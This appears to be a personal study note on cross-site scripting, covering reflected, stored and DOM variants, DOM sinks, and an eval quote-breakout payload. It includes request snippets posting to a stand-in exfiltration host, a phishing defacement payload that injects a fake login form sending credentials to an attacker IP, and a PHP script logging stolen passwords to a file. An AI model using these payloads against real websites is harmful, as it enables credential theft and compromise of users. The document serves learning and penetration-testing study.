When a vulnerable webapp receiving HTML code from back-end and rendering it on client-side does not properly santize user input its possible to inject JavaScript code into input fields. It allows attackers to compromise interactions users have with applications.
CSRF, XSS and Requests
Modern day applications harness many security policies like below, but can potentially be circumvented using XSS.
- Same-Origin policy (Application can't read from other sites)
- Cross-Origin Resources (Server headers that allow specific cross-site access.)
- SameSite Cookies (Controls if cookies are sent in cross-site requests)
We can exploit CSRF and XSS using XMLHttpRequest or Fetch API to make HTTP requests. For example the XMLHttpRequest
// Set variable xhr
var xhr = new XMLHttpRequest();
// Specify the URL
xhr.open('POST', 'http://exfiltrate.htb/', false);
// Setting header
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
// Body
xhr.send('param1=hello¶m2=world');
Or the Fetch API
const response = await fetch('http://exfiltrate.htb/', {
method: "POST",
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: 'param1=hello¶m2=world',
});
XSS Attack types
Cross-site scripting works by manipulating a vulnerable web site so that it returns malicious JavaScript to users. Stored XSS is persistent meaning stored on server and will affect any user which visits the page. Non-persistent meaning not stored on server and temporary. Reflected XSS gets processed by server and DOM-based XSS is fully processed on client-side, never reaching back-end server.
| Type | Descriptions |
|---|---|
| Stored XSS | Most critical, occurs when user input is stored on back-end database. |
| Reflected XSS | Occurs when user input is displayed after being processed by back end server. |
| DOM XSS | Occurs when user input is directly shown in the browser and is completely processed on the client-side |
Reflected XSS
Reflected XSS occurs when input reaches the back-end server and being returned without any sanitization or filtering. The payload is not stored and only shown if someone visits the URL.
https://www.mcz3n.com/status?message=This is a test.
<p>Status: This is a test..</p>
Construct a malicious URL which will be executed by anyone who visits the URLs. Not stored on server.
https://www.mcz3n.com/status?message=<script>/*This is a malicious page*/</script>
<p>Status: <script>/* This is a malicious page */</script></p>
Stored XSS
Most critical XSS is the stored XSS as its stored in the back-end server. Meaning the attack is persistent and affects any user that will visit the page. For example you could store payload in blogs posts, user-names or contact details.
// In username field
<p><img src=x onerror=alert(1)></p>
DOM XSS
DOM XSS uses the Document Object Model (DOM) which is a way for JavaScript to interact with webpages. It represents the HTML of the page as objects in memory, so code can read, change, or add elements on the page.
So for example Javascript interacting with DOM search input
// Search
var search = document.getElementById('search').value;
var results = document.getElementById('results');
results.innerHTML = 'You searched for: ' + search;
DOM XSS is also Non-Persistent and sends input data to the back-end server via HTTP Requests. If an adversary can control the input they can execute a malicious payload.
You searched for: <img src=1 onerror='/* You got pwned */'>
JavaScript will take user controlled data from a URL and inserts it into the page which runs the code.
- Source = Where attacker data comes from like
location.searchordocument.referrer. - Sink = Where attackers data goes to like
element.innerHTML = data;.
The following sinks can lead to DOM-XSS
// Main sinks
document.write()
document.writeln()
document.domain
element.innerHTML
element.outerHTML
element.insertAdjacentHTML
element.onevent
// jQuery could lead to DOM XSS
add()
after()
append()
animate()
insertAfter()
insertBefore()
before()
html()
prepend()
replaceAll()
replaceWith()
wrap()
wrapInner()
wrapAll()
has()
constructor()
init()
index()
jQuery.parseHTML()
$.parseHTML()
Reflected DOM XSS
This is just a summary of what i found here, well written out. https://medium.com/@marduk.i.am/reflected-dom-xss-fdf60de841cb
When we input a search term in a search form and the text is reflected in the response we can for Reflected DOM XSS.
<script src="/resources/js/searchResults.js"></script>
<script>search('search-results')</script>
<section class="blog-header">
<h1>0 search results for 'Test search string'</h1>
<hr>
</section>
We can see /resources/js/searchResults.js which is processing our search string. In the response we can find the actual code processing the search strings
function search(path) {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
eval('var searchResultsObj = ' + this.responseText);
displaySearchResults(searchResultsObj);
}
};
xhr.open("GET", path + window.location.search);
xhr.send();
It creates a new XMLHttpRequest to fetch data from the server without reloading the page. But the vulneraiblity lies in.
eval('var searchResultsObj = ' + this.responseText);
This line takes the server's response (this.responseText) and directly passes it to eval(), which executes it as JavaScript code.
eval()is a JavaScript function that takes a string of code and executes it as if it were actual JavaScript code.
Now we have to break out of the quotes. Adding a quote will be escaped by due to \".
mcz3n"-alert(1)
Escape the quotes
mcz3n\"-alert(1)
Finish the payload.
}= Properly closes the JavaScript object thatevalexpects//= Comments out the leftover"}from the original code so it doesn't cause errors
// paylod
mcz3n\"-alert(1)}//
// code will run like
var searchResultsObj = {"searchTerm": "M4rdukWasH3re"-alert(1)}//"}
XXS Discovery
Most kinds of XSS vulnerabilities can be confirmed using an alert trigger like alert() or print(). Use automated scanners like Nessus, Nikto, Burp, ZAP. Or open source tools:
- XSS strike
- Brute XSS
- XSSer
Manuallly test using XSS payloads intro input elements and HTTP headers. https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md
Defacing
There is defacing if we can change the look and feel of website, even changing text and use it for a Phishing attack.
# Create Login page
<h3>Please login to continue</h3>
<form action=http://OUR_IP>
<input type="username" name="username" placeholder="Username">
<input type="password" name="password" placeholder="Password">
<input type="submit" name="submit" value="Login">
</form>
Payload
'><script>document.write('<h3>Please login to continue</h3><form action=http://10.10.14.24:8888><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');document.getElementById('urlform').remove();</script><!--
Simple PHP script
<?php
if (isset($_GET['username']) && isset($_GET['password'])) {
$file = fopen("creds.txt", "a+");
fputs($file, "Username: {$_GET['username']} | Password: {$_GET['password']}\n");
header("Location: http://SERVER_IP/phishing/index.php");
fclose($file);
exit();
}
?>
HTTPonly Cookie flag and Data Exfil
Stealing cookies using XSS can be prevented using the HttpOnly attribute on the session cookie. If that attribute is set the cookies will no exists trying to access them using document.cookie. But having the ability to execute JavaScript we don't always need the cookie as we can perform actions in the context of victims. To access information within a victim's context we can ex filtrate data to our own server using XMLHttpRequest or Fetch.